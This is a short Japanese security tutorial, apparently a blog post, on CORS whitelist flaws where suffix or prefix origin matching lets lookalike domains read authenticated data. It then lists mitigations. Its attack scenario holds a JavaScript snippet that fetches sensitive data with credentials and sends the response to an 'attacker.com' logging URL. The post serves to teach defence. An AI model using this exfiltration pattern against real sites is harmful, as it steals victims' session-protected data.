Hello there, ('ω')ノ
🎯 目的
今回は、CORS(クロスオリジンリソース共有)のOriginヘッダ処理の実装ミスによって発生する脆弱性について解説します。特に、ホワイトリストによるオリジン検証が甘い場合に、攻撃者が偽装ドメインを使って認証済みのデータにアクセスできる事例を紹介します。
🧩 ホワイトリストの基本実装例
- サーバーはリクエストヘッダの
Origin
を読み取る - 許可されたドメインのリスト(ホワイトリスト)と照合
- 一致する場合は
Access-Control-Allow-Origin
に反映してレスポンス
Origin: https://innocent-website.com ↓ Access-Control-Allow-Origin: https://innocent-website.com
🐞 よくある実装ミス
❌ サフィックスマッチ(末尾一致)
- 許可対象:
*.normal-website.com
- 誤実装:
endsWith("normal-website.com")
- 攻撃者が
hackersnormal-website.com
を登録すると許可されてしまう
❌ プレフィックスマッチ(先頭一致)
- 許可対象:
normal-website.com*
- 誤実装:
startsWith("normal-website.com")
- 攻撃者が
normal-website.com.evil-user.net
を使うと許可されてしまう
🧪 攻撃シナリオ
攻撃者がCORSを利用して、被害者のセッション情報付きで機密APIへリクエスト:
var req = new XMLHttpRequest(); req.onload = function() { location = 'https://attacker.com/log?data=' + encodeURIComponent(this.responseText); }; req.open('GET', 'https://normal-website.com/sensitive-data', true); req.withCredentials = true; req.send();
攻撃者のドメインが不正にCORSで許可されていれば、セッションクッキー付きの機密データが攻撃者のサーバに送られてしまいます。
🛡️ 対策
Origin
の厳密一致チェック(完全一致するかどうかを===
で評価)- ワイルドカード的な部分一致・正規表現の使用を避ける、または明確に検証
- 信頼するドメインリストは静的に管理
Access-Control-Allow-Credentials
を使用する場合はAllow-Origin
に*
を絶対使わない- サブドメインの許可には
.example.com
のようなドット付き末尾一致を使う(誤検出を防止)
✅ まとめ
- CORSホワイトリストのミスは偽装ドメインによる情報漏洩を引き起こす
startsWith()
やendsWith()
の誤用は典型的な落とし穴- 正しいCORS設定は、セッション保護とクロスオリジン通信制御の基盤となる
このような設定ミスは簡単に見過ごされがちですが、非常に深刻な脆弱性を引き起こすため、コードレビューやテストの段階でしっかり確認しましょう。
Best regards, (^^ゞ